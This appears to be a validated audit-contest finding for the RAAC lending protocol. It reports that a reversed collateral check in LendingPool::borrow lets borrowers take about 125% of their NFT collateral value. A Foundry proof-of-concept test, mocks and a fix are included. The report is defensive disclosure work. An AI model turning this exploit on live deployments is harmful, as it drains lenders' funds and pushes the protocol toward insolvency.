Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Borrowers are able to borrow more crvUSD than their deposited collateral value

Summary

The RAAC lending protocol's borrow function in the LendingPool contract contains a critical vulnerability in its collateral check implementation. The incorrect comparison of values allows users to borrow significantly more than the intended limit based on their collateral value. This vulnerability exposes the protocol to undercollateralized positions and potential insolvency.

Vulnerability Details

The vulnerability exists in the borrow function's collateral verification logic:

// Current implementation
if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}

The current implementation incorrectly applies the liquidation threshold to the debt amount rather than the collateral value. With a liquidation threshold of 80% (80_00 in basis points), this allows users to borrow up to 125% (100/0.8) of their collateral value, rather than the intended 80%.

For example:

  1. User deposits NFT worth 100 crvUSD

  2. Liquidation threshold is 80%

  3. Intended maximum borrow: 80 crvUSD

  4. Current implementation allows: 125 crvUSD

Mathematical proof:

  • Let's say user tries to borrow 125 crvUSD against 100 crvUSD collateral

  • Current check: 100 < 125 \* 0.8

  • 100 < 100 -> This check passes when it shouldn't

  • Correct check should be: 125 > 100 \* 0.8

  • 125 > 80 -> This would correctly revert

Impact

  1. Users can borrow significantly more than the protocol's intended limits, creating undercollateralized positions.

  2. Multiple users exploiting this vulnerability could lead to protocol insolvency.

  3. Given that the collateral is RAAC NFTs representing real estate, the size of potential losses could be substantial.

PoC

To set up the test environment:

  1. Run foundryup

  2. Run foundry init

  3. Run forge install OpenZeppelin/openzeppelin-contracts --no-git and forge install https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable --no-git

  4. Paste this in foundry.toml - remappings = ["@openzeppelin/contracts=lib/openzeppelin-contracts/contracts", "@openzeppelin/contracts-upgradeable=lib/openzeppelin-contracts-upgradeable/contracts"]

  5. Then create a folder in src called RAACProtocol.

  6. In the RAACProtocol create two folders called: interfaces, libraries and tokens

  7. Into the interfaces paste the following contracts:

Interfaces
ICurveCrvUSDVault.sol,
IDebtToken.sol,
IDEToken.sol,
ILendingPool.sol,
IRAACHousePrices.sol,
IRAACMinter.sol,
IRAACNFT.sol,
IRAACToken.sol,
IRToken.sol,
IStabilityPool.sol

  1. Into the libraries paste the following contracts:
    Libraries
    PercentageMath.sol,
    ReserveLibrary.sol,
    WadRayMath.sol

  2. Into the tokens paste the following contracts:
    Tokens
    DebtToken.sol,
    DEToken.sol,
    RAACNFT.sol,
    RAACToken.sol,
    RToken.sol

  3. Create files in the test folder for the mocks and paste them.

  • OracleMock.sol for the oracle mock

  • CrvUSDMock.sol for the crvUSD mock

  1. Create file in the test folder called RAACProtocolTest.t.sol.

  2. Paste the test setup.

  3. Paste the test and the helper functions inside the StabilityAndLendingPoolTest contract.

Mocks

  1. OracleMock

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract RAACHousePrices {
function tokenToHousePrice(uint256 tokenId) public pure returns (uint256 price) {
price = 300_000 ether;
}
function getLatestPrice(uint256 tokenId) public returns (uint256 price, uint256 lastUpdateTimestamp) {
price = 300_000 ether;
lastUpdateTimestamp = block.timestamp;
}
}
  1. CrvUSD Mock

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/**
* @title crvUSD Stablecoin
* @author Curve.Fi (Vyper implementation) - Converted to Solidity
* @notice Implementation of the crvUSD stablecoin contract
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC1271 {
function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4);
}
contract CrvUSDMock is IERC20 {
uint8 public constant decimals = 18;
string public constant version = "v1.0.0";
bytes4 private constant ERC1271_MAGIC_VAL = 0x1626ba7e;
bytes32 private constant EIP712_TYPEHASH =
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)");
bytes32 private constant EIP2612_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 private immutable VERSION_HASH;
bytes32 private immutable NAME_HASH;
uint256 private immutable CACHED_CHAIN_ID;
bytes32 private immutable CACHED_DOMAIN_SEPARATOR;
bytes32 public immutable salt;
string public name;
string public symbol;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint256) public balanceOf;
uint256 public totalSupply;
mapping(address => uint256) public nonces;
event SetMinter(address indexed minter);
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
NAME_HASH = keccak256(bytes(_name));
VERSION_HASH = keccak256(bytes(version));
CACHED_CHAIN_ID = block.chainid;
salt = blockhash(block.number - 1);
CACHED_DOMAIN_SEPARATOR =
keccak256(abi.encode(EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, block.chainid, address(this), salt));
emit SetMinter(msg.sender);
}
function _approve(address owner, address spender, uint256 value) internal {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] -= value;
totalSupply -= value;
emit Transfer(from, address(0), value);
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(this) && to != address(0), "Invalid recipient");
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
}
function _domainSeparator() internal view returns (bytes32) {
if (block.chainid != CACHED_CHAIN_ID) {
return keccak256(abi.encode(EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, block.chainid, address(this), salt));
}
return CACHED_DOMAIN_SEPARATOR;
}
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
uint256 currentAllowance = allowance[from][msg.sender];
if (currentAllowance != type(uint256).max) {
_approve(from, msg.sender, currentAllowance - value);
}
_transfer(from, to, value);
return true;
}
function transfer(address to, uint256 value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
external
returns (bool)
{
require(owner != address(0) && block.timestamp <= deadline, "Invalid permit");
uint256 nonce = nonces[owner];
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
_domainSeparator(),
keccak256(abi.encode(EIP2612_TYPEHASH, owner, spender, value, nonce, deadline))
)
);
if (Address.isContract(owner)) {
bytes memory signature = abi.encodePacked(r, s, v);
require(IERC1271(owner).isValidSignature(digest, signature) == ERC1271_MAGIC_VAL, "Invalid signature");
} else {
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress == owner, "Invalid signature");
}
nonces[owner] = nonce + 1;
_approve(owner, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
uint256 currentAllowance = allowance[msg.sender][spender];
uint256 newAllowance = currentAllowance + addedValue;
// Check for overflow
if (newAllowance < currentAllowance) {
newAllowance = type(uint256).max;
}
if (newAllowance != currentAllowance) {
_approve(msg.sender, spender, newAllowance);
}
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
uint256 currentAllowance = allowance[msg.sender][spender];
uint256 newAllowance;
if (subtractedValue >= currentAllowance) {
newAllowance = 0;
} else {
newAllowance = currentAllowance - subtractedValue;
}
if (newAllowance != currentAllowance) {
_approve(msg.sender, spender, newAllowance);
}
return true;
}
function burnFrom(address from, uint256 value) external returns (bool) {
uint256 currentAllowance = allowance[from][msg.sender];
if (currentAllowance != type(uint256).max) {
_approve(from, msg.sender, currentAllowance - value);
}
_burn(from, value);
return true;
}
function burn(uint256 value) external returns (bool) {
_burn(msg.sender, value);
return true;
}
function mint(address to, uint256 value) external returns (bool) {
require(to != address(this) && to != address(0), "Invalid recipient");
balanceOf[to] += value;
totalSupply += value;
emit Transfer(address(0), to, value);
return true;
}
function DOMAIN_SEPARATOR() external view returns (bytes32) {
return _domainSeparator();
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
  1. Foundry Test SetUp

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {StabilityPool} from "../src/RAACProtocol/StabilityPool.sol";
import {LendingPool} from "../src/RAACProtocol/LendingPool.sol";
import {RToken} from "../src/RAACProtocol/tokens/RToken.sol";
import {DebtToken} from "../src/RAACProtocol/tokens/DebtToken.sol";
import {DEToken} from "../src/RAACProtocol/tokens/DEToken.sol";
import {CrvUSDMock} from "./CrvUSDMock.sol";
import {RAACNFT} from "../src/RAACProtocol/tokens/RAACNFT.sol";
import {RAACToken} from "../src/RAACProtocol/tokens/RAACToken.sol";
import {RAACMinter} from "../src/RAACProtocol/RAACMinter.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {RAACHousePrices} from "./OracleMock.sol";
import {WadRayMath} from "../src/RAACProtocol/libraries/WadRayMath.sol";
contract StabilityAndLendingPoolTest is Test {
LendingPool public lendingPool;
StabilityPool public stabilityPool;
RToken public rToken;
DebtToken public debtToken;
DEToken public deToken;
CrvUSDMock public crvUSD;
RAACHousePrices public raacHousePrices;
RAACNFT public raacNFT;
RAACToken public raacToken;
RAACMinter public raacMinter;
address deployer = makeAddr("deployer");
address bigFish = makeAddr("bigFish");
address userOne = makeAddr("userOne");
address userTwo = makeAddr("userTwo");
function setUp() public {
vm.warp(10 days);
vm.roll(140000);
uint256 initialPrimeRate = 1 * 1e26;
uint256 initialTax = 500;
vm.startPrank(deployer);
// Deploy base contracts
crvUSD = new CrvUSDMock("CrvUSD Token", "CrvUSD");
rToken = new RToken("RToken", "R", deployer, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", deployer);
deToken = new DEToken("DEToken", "DE", deployer, address(rToken));
raacHousePrices = new RAACHousePrices();
raacNFT = new RAACNFT(address(crvUSD), address(raacHousePrices), deployer);
raacToken = new RAACToken(deployer, initialTax, initialTax);
// Deploy LendingPool
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
initialPrimeRate
);
// Deploy StabilityPool implementation
StabilityPool stabilityPoolImplementation = new StabilityPool(deployer);
// Initialize StabilityPool with temporary minter
bytes memory initData = abi.encodeWithSelector(
StabilityPool.initialize.selector,
address(rToken),
address(deToken),
address(raacToken),
address(makeAddr("RAACMinter")),
address(crvUSD),
address(lendingPool)
);
// Deploy proxy with implementation
ERC1967Proxy proxy = new ERC1967Proxy(address(stabilityPoolImplementation), initData);
stabilityPool = StabilityPool(address(proxy));
// Deploy RAACMinter
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), deployer);
// Set up relationships between contracts
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
lendingPool.setStabilityPool(address(stabilityPool));
stabilityPool.setRAACMinter(address(raacMinter));
raacToken.setMinter(address(raacMinter));
// Whitelist key addresses to bypass RAAC token tax
raacToken.manageWhitelist(address(stabilityPool), true);
raacToken.manageWhitelist(address(raacMinter), true);
vm.stopPrank();
}
}
  1. PoC

function testVulnerabilityUserIsAbleToBorrowMoreThanHisCollateral() public {
uint256 bigFishDepositAmount = 400_000 ether;
userDepositIntoLendingPool(bigFish, bigFishDepositAmount);
// Deposit Into The Lending Pool
uint256 userOneDepositAmount = 50_000 ether;
userDepositIntoLendingPool(userOne, userOneDepositAmount);
vm.warp(block.timestamp + 3 days);
vm.roll(block.number + 3 * 12_000);
// Mint User NFT and Deposit as Collateral in LendingPool
userMintRAACNFTAndDepositIntoLendingPool(userTwo, 1);
// Borrow Against NFT
uint256 borrowedAmount = 375_000 ether;
userBorrowAgainstCollateralNFT(userTwo, borrowedAmount);
// Checks that the user's health factor is below 1e18 right after borrowing
assert(lendingPool.calculateHealthFactor(userTwo) < 1e18);
// Checks that user's borrowed amount is bigger than his collateral right after borrowing
assert(lendingPool.getUserDebt(userTwo) > lendingPool.getUserCollateralValue(userTwo));
}
  1. Helper Function

function userDepositIntoLendingPool(address user, uint256 amount) public {
vm.startPrank(user);
crvUSD.mint(user, amount);
crvUSD.approve(address(lendingPool), amount);
lendingPool.deposit(amount);
vm.stopPrank();
}
function userDepositIntoStabilityPool(address user, uint256 amount) public {
vm.startPrank(user);
rToken.approve(address(stabilityPool), amount);
stabilityPool.deposit(amount);
vm.stopPrank();
}
function userMintRAACNFTAndDepositIntoLendingPool(address user, uint256 id) public {
vm.startPrank(user);
uint256 amount = 300_000 ether;
crvUSD.mint(user, amount);
crvUSD.approve(address(raacNFT), amount);
raacNFT.mint(id, amount);
vm.warp(block.timestamp + 1 days);
vm.roll(block.number + 12_000);
raacNFT.approve(address(lendingPool), id);
lendingPool.depositNFT(id);
vm.stopPrank();
}
function userBorrowAgainstCollateralNFT(address user, uint256 amount) public {
vm.startPrank(user);
lendingPool.borrow(amount);
vm.stopPrank();
}
function userRepayBorrowedAmount(address user, uint256 amount) public {
vm.startPrank(user);
crvUSD.approve(address(lendingPool), amount);
lendingPool.repay(amount);
vm.stopPrank();
}
function userWithdrawDepositedAmountFromLendingPool(address user, uint256 amount) public {
vm.startPrank(user);
rToken.approve(address(lendingPool), amount);
lendingPool.withdraw(amount);
vm.stopPrank();
}
function userWithdrawFromStabilityPool(address user, uint256 amount) public {
vm.startPrank(user);
deToken.approve(address(stabilityPool), amount);
stabilityPool.withdraw(amount);
vm.stopPrank();
}
function mintCrvUSDToUser(address user, uint256 amount) public {
crvUSD.mint(user, amount);
}

Tools Used

Manual Review, Foundry Test

Recommendations

Reverse the comparison and apply the liquidation threshold to the collateral value:

if (userTotalDebt > collateralValue.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!